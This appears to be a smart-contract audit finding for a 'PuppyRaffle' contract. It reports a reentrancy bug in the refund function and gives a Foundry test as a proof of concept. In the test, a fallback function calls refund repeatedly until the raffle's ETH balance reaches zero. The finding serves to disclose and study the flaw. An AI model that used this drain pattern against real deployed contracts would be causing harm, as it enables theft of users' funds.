Updating state after sending eth allows malicious user to reenter the refund function. Add the following to the test file:
modifier EightPlayersEntered() {
address[] memory players = new address[](8);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
players[4] = playerFive;
players[5] = playerSix;
players[6] = playerSeven;
players[7] = playerEight;
puppyRaffle.enterRaffle{value: entranceFee * 8}(players);
_;
}
function testReentrancy() public EightPlayersEntered {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee * 1}(players);
uint256 raffleBalancePre = address(puppyRaffle).balance;
puppyRaffle.refund(8);
uint256 raffleBalancePost = address(puppyRaffle).balance;
console.log("RAFFLE BALANCE PRE ATTACK: ", raffleBalancePre);
console.log("RAFFLE BALANCE POST ATTACK: ", raffleBalancePost);
assert(raffleBalancePost == 0);
}
fallback() external payable {
if(address(puppyRaffle).balance > 0) {
puppyRaffle.refund(8);
}
}